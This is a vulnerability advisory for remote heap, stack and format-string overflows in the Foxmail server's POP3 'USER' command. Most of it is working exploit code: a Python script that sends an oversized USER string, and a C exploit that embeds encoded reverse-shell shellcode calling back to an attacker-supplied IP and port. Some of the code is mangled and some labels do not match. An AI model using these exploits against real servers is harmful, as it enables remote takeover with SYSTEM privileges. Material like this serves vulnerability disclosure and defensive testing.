Foxmail server "USER" command Multiple remote buffer overflow

AUTHOR:
(Fortinet, inc)
xouyang<xouyang_at_fortinet.com> <[email protected]>

PRODUCTS:
Foxmail Server. A Mail server for both Windows and linux.

AFFECTED VERSION:
Foxmail server for windows version 2.0 (latest). I've just tested windows server, the linux version may be vulnerable
too.

Description:
Foxmail-the Email client application is the most famous software product in China. Chinese version is sold to more than
3 million users and English version to over 20 countries. It is listed as "Top Ten Domestic Software" and evaluated as "5
Star Software" by ZDNET.
BODA s NT/Linux-based email server system is featured by stability, security, ease of installation and maintenance,
rich functions. Different versions of product can meet the varied needs ranging from small/medium- sized enterprises to
ISPs/ICPs/ASPs.

DOWNLOAD:
http://www.foxmail.com.cn/english/english_3.htm
http://fox.foxmail.com.cn/cgi/download/nt/nph-install_nt.cgi

Detail:
A vulnerabilities have been identified in Foxmail server, which can be exploited by malicious people to cause a DoS
(Denial of Service) or maybe compromise a vulnerable server.

The vulnerabilities are caused due to boundary errors in the handling of the "USER " commands in POP server. A

malicious person can exploit this by supplying a long, specially crafted argument to the vulnerable commands, which will
result in a buffer overflow.

1.Heap overflow
Send a long username and recv the packet will cause a heap overflow.
00401BEA  |.  8902                mov     dword ptr ds:[edx], eax
00401BEC  |.  8950 04             mov     dword ptr ds:[eax+4], edx

EAX = 41414141
EBX = 41414141 

Successful exploitation will allow remote execution of arbitrary code with SYSTEM privileges.
 
2.format string
Sending a username like "%n%n" cause a DOS attach.

3.stack overflow.
Successful exploitation will allow remote execution of arbitrary code with SYSTEM privileges. Swan provides an exploit

to test this bug.

FOXmail POC exploit:
1.heap overflow
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt

def usage():
print "Usage: foxserver.py -h host -p port"
sys.exit(0)

if name == 'main':

try: 
    opts, args = getopt.getopt(sys.argv[1:], "h:p:") 
except getopt.GetoptError, msg: 
    print msg
    usage()
    
for o,a in opts:
    if o in ["-h"]:
        host = a
    if o in ["-p"]:
        port = int(a)

evilbuf =  "USER " + "A"*5000 + "\r\n"
evilbuf2 = "PASS oyxin\r\n"
evilbuf2 += "STAT\r\n"
evilbuf2 += "RSET\r\n"
evilbuf2 += "QUIT\r\n"

try:
    sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sockfd.connect((host, port))
    recvbuf = sockfd.recv(1024)
    print `recvbuf`
    sockfd.send(evilbuf)
    recvbuf = sockfd.recv(1024)
    print `recvbuf`
    sockfd.send(evilbuf2)
except socket.error, msg:
    print msg
    
sockfd.close()

2.stack overflow
#Code by Swan([email protected])
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>

#pragma comment (lib,"ws2_32")

#define PORT_OFFSET 118
#define IP_OFFSET 111

char Shellcode[] = "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

char szUser[] = "user 1231231231231234567890abcdefghijklmnopqrstuvwxyz1234567890a"
"bcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123"
"4567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijkklmnopqrst"
"uvwxyz1234567890abcdefghijkklmnopqrstuvwxyz1234567890abcdAAAAijk"
"lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
"defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
"67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
"xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
"pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
"hijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123456789"
"0abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1"
"234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrs"
"tuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijk"
"lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
"defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
"67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
"xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
"pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
"hijklmnopqrstuvwxyz\r\n";
unsigned char szPass[] = "pass siglos\r\n";

void help(char *program)
{
printf ("========================================================\r\n");
printf ("Aerofox Mail Server 1.1.0.1 POP3 Temp Dir Stack Overflow\r\n");
printf ("========================================================\r\n\r\n");
printf ("Usage: %s <Host> <Your IP> <Your port>\r\n", program);
printf ("e.g.:\r\n");
printf (" %s 127.0.0.1 202.119.9.42 8111\r\n", program);
printf ("\r\n The ret address is 0x7ffa1571.\r\n");
exit(0);
}

SOCKET Connect(char *u_host ,unsigned short u_port)
{
WSADATA wsaData;
SOCKET sock;
struct hostent *r;
struct sockaddr_in r_addr;
int timeout = 1000;

    if(WSAStartup(0x0101,&wsaData) != 0)
    {
            printf("error starting winsock..");
            return -1;
    }
    if((r=gethostbyname(u_host))== NULL)
    {
            return -1 ;
    }
    if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))== INVALID_SOCKET)
    {
            return -1 ;
    }
    r_addr.sin_family=AF_INET;
    r_addr.sin_port=htons(u_port);
    r_addr.sin_addr=*((struct in_addr*)r->h_addr);

    if(connect(sock,(struct sockaddr *)&r_addr,sizeof(r_addr))==SOCKET_ERROR)
    {
            printf("Can't connect\n");
            exit(-1);
    }
    setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout,sizeof(timeout));
    return(sock);

}

void Disconnect(SOCKET s)
{
closesocket(s);
WSACleanup();
}

void tr(SOCKET s)
{
char buff[1500];
memset(buff, 0, sizeof(buff));
recv(s, buff, sizeof(buff), 0);
printf("%s\r\n",buff);
}

void SlowSend(SOCKET s, char buf, int p)
{
//send(s, buf, sizeof(buf),0);
//send(s, "\r\n", 2,0);
for(unsigned int i = 0; i < strlen(buf); i++)
{
Sleep(p);
printf("%c", buf[i]);
send(s, (char)&(buf[i]), 1, 0);
}
}

void main(int argc, char argv[])
{
/_asm{
mov eax,90909091h
dec eax
a: dec ebx
cmp [ebx], eax
jnz a
push ebx
ret
}*/
if(argc != 4)
help(argv[0]);

    unsigned short    port;
unsigned long     ip;

port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[2])^(ULONG)0x99999999;
memcpy(&Shellcode[PORT_OFFSET], &port, 2);
memcpy(&Shellcode[IP_OFFSET], &ip, 4);

    SOCKET s = Connect(argv[1], 110);
    tr(s);
    memcpy(szUser + 244, "\xCC\x90\xEB\x04\x71\x15\xFA\x7F", 8);
    memcpy(szUser + 244 + 8,  "\xB8\x91\x90\x90\x90\x48\x4B\x39\x03\x75\xFB\x53\xC3\x90\x90\x90\x90", 17);
    memcpy(szUser + 244 + 8 + 17, Shellcode, sizeof(Shellcode) - 1);

    SlowSend(s, (char*)szUser, 1);
    getch();
    tr(s);
    SlowSend(s, (char*)szPass, 100);
    tr(s);
    Disconnect(s);
    return;

}

THANKS:
Thanks swan for providing his cool exploit.